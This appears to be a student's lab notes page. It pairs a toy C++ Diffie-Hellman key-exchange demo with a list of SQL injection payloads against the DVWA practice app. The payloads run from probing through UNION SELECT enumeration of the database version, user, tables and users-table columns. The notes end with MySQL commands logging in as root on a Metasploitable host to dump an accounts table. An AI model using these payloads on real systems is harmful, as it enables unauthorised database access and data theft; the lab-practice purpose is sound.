Codes
crypto
#include
using namespace std;
// Function to calculate (base^exp) % mod using modular exponentiation
int power(int base, int exp, int mod) {
int result = 1;
base = base % mod;
while (exp > 0) {
if (exp % 2 == 1)
result = (result * base) % mod;
exp = exp / 2;
base = (base * base) % mod;
}
return result;
}
int main() {
// Publicly known values
int p = 23; // Prime number
int g = 5; // Primitive root modulo p
// Private keys (you can take input if needed)
int a = 6; // Alice's private key
int b = 15; // Bob's private key
// Public keys
int A = power(g, a, p); // Alice's public key
int B = power(g, b, p); // Bob's public key
// Shared secret keys (should be same)
int sharedSecretA = power(B, a, p); // Alice computes secret
int sharedSecretB = power(A, b, p); // Bob computes secret
// Output
cout << "Publicly known values:\n";
cout << "Prime (p): " << p << ", Primitive Root (g): " << g << endl;
cout << "\nPrivate Keys:\n";
cout << "Alice's private key (a): " << a << endl;
cout << "Bob's private key (b): " << b << endl;
cout << "\nPublic Keys:\n";
cout << "Alice's public key (A = g^a mod p): " << A << endl;
cout << "Bob's public key (B = g^b mod p): " << B << endl;
cout << "\nShared Secret:\n";
cout << "Shared secret (computed by Alice): " << sharedSecretA << endl;
cout << "Shared secret (computed by Bob): " << sharedSecretB << endl;
if (sharedSecretA == sharedSecretB)
cout << "\n✅ Key exchange successful. Shared key matched.\n";
else
cout << "\n❌ Error: Shared keys do not match.\n";
return 0;
}
SQL BY DVWS
visit >>>> 192.168.0.1/dvwa/login.php
3
3′
3’ and 1=1 #
3’ and 1=0 union select null, version() #
3’ and 1=0 union select null, user() #
3’ and 1=0 union select null, database() #
3’ and 1=0 union select null,table_name from
information_schema.tables #
3’ and 1=0 union select null,table_name from information_schema.tables where
table_schema!=’mysql’ and table_schema!=’information_schema’ #
3’ and 1=0 union select null,table_name from information_schema.columns where
table_name=’users’ #
3’ and 1=0 union select
null,concat(table_name,0x0a,column_name) from
information_schema.columns where table_name=’users’ #
mysql -u
root -h her put metasploit ip
MySQL
[(none)]> show databases;
MySQL
[(none)]> use owasp10
MySQL
[(none)]> show tables;
MySQL
[(none)]> select * from accounts;